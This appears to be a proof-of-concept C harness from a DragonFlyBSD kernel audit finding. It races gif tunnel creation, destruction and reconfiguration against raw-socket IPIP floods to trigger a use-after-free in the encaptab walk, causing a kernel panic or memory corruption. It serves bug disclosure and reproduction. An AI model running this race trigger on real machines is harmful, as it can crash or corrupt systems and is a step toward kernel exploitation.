⬢ DragonFlyBSD Kernel Audit
DF-3425 / gif_race.c
← back to finding ↓ download raw
/*
 * DF-3425 - gif(4) teardown races netisr encap walk (no common lock).
 *
 * The global encaptab list (sys/netinet/ip_encap.c) is walked lock-free by
 * encap4_input() on NETISR(0) for every inbound IPIP packet, calling
 * ep->func(ep->arg) [= gif_encapcheck(softc)] for each gif entry.
 * Concurrently, from a normal thread (no serialization shared with netisr):
 *   - gif_clone_destroy()  (SIOCIFDESTROY, ifnet_lock held, NOT ifnet serializer)
 *       -> encap_detach(): LIST_REMOVE + kfree(ep)   [ip_encap.c:411-426]
 *       -> gif_delete_tunnel(), kfree(sc)            [if_gif.c:176-203]
 *   - gif_set_tunnel()     (SIOCSIFPHYADDR reconfig, ifnet serializer only)
 *       -> in_gif_detach()/in_gif_attach() churn on encaptab
 *
 * This harness: 30 static gif tunnels (long walk), one bouncing gif
 * (create/set/destroy loop), one reconfig gif (set-tunnel loop),
 * 4 flood threads sending IPIP to 127.0.0.1 through raw sockets.
 *
 * Run as root. Expected on hit: panic (wild deref / "Memory modified after
 * free" / KASSERT) or silent corruption; run ends after <secs> without
 * incident if the race is not won.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

#define	S_SOCKET	0
#define	NSTATIC		30			/* gif0..gif29 (skip bounce) */

static int	cmdsock;
static volatile unsigned long n_flood, n_cyc, n_recfg, n_err;
static volatile int stop;

static void
mk_sin(struct sockaddr_in *sin, uint32_t a)
{
	memset(sin, 0, sizeof(*sin));
	sin->sin_family = AF_INET;
	sin->sin_len = sizeof(*sin);
	sin->sin_addr.s_addr = htonl(a);
}

static int
gif_create(const char *name)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	return ioctl(cmdsock, SIOCIFCREATE, &ifr);
}

static int
gif_destroy(const char *name)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	return ioctl(cmdsock, SIOCIFDESTROY, &ifr);
}

static int
gif_set_tunnel(const char *name, uint32_t src, uint32_t dst)
{
	struct in_aliasreq ifra;

	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name));
	mk_sin(&ifra.ifra_addr, src);
	mk_sin(&ifra.ifra_dstaddr, dst);
	return ioctl(cmdsock, SIOCSIFPHYADDR, &ifra);
}

static void *
flood(void *arg)
{
	struct sockaddr_in to;
	unsigned char pkt[36];		/* inner dummy ipv4-ish payload */
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_IPV4);

	if (s < 0) { perror("raw socket"); return NULL; }
	memset(&to, 0, sizeof(to));
	to.sin_family = AF_INET;
	to.sin_len = sizeof(to);
	to.sin_addr.s_addr = htonl(0x7f000001);	/* 127.0.0.1 -> lo0 */
	memset(pkt, 0x45, sizeof(pkt));

	while (!stop) {
		if (sendto(s, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&to, sizeof(to)) > 0)
			n_flood++;
		else
			n_err++;
	}
	close(s);
	return NULL;
}

static void *
destroyer(void *arg)
{
	while (!stop) {
		if (gif_create("gif50") == 0) {
			gif_set_tunnel("gif50", 0x0a646461, 0x0a646462);
			gif_destroy("gif50");
			n_cyc++;
		} else
			n_err++;
	}
	return NULL;
}

static void *
reconfig(void *arg)
{
	int flip = 0;

	while (!stop) {
		gif_set_tunnel("gif51",
		    flip ? 0x0a656561 : 0x0a656563,
		    flip ? 0x0a656562 : 0x0a656564);
		flip = !flip;
		n_recfg++;
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[6];
	char name[32];
	int i, secs = argc > 1 ? atoi(argv[1]) : 240;
	uint32_t base;

	cmdsock = socket(AF_INET, SOCK_DGRAM, 0);
	if (cmdsock < 0) { perror("dgram socket"); return 1; }

	/* static walk-lengtheners: gif0..gif29 with distinct endpoints */
	for (i = 0, base = 0x0a000000; i < NSTATIC; i++, base += 0x202) {
		snprintf(name, sizeof(name), "gif%d", i);
		if (gif_create(name) == 0)
			gif_set_tunnel(name, base + 1, base + 2);
	}
	/* bounce unit gif50, reconfig unit gif51 */
	gif_create("gif51");
	gif_set_tunnel("gif51", 0x0a656563, 0x0a656564);

	for (i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, flood, NULL);
	pthread_create(&th[4], NULL, destroyer, NULL);
	pthread_create(&th[5], NULL, reconfig, NULL);

	printf("racing: %d static gifs, gif50 bounce, gif51 reconfig, 4 floods\n",
	    NSTATIC);
	for (i = 0; i < secs; i += 10) {
		sleep(10);
		printf("t+%ds: flood=%lu cyc=%lu recfg=%lu err=%lu\n",
		    i + 10, n_flood, n_cyc, n_recfg, n_err);
		fflush(stdout);
	}
	stop = 1;
	for (i = 0; i < 6; i++)
		pthread_join(th[i], NULL);
	printf("done (no panic): flood=%lu cyc=%lu recfg=%lu err=%lu\n",
	    n_flood, n_cyc, n_recfg, n_err);
	return 0;
}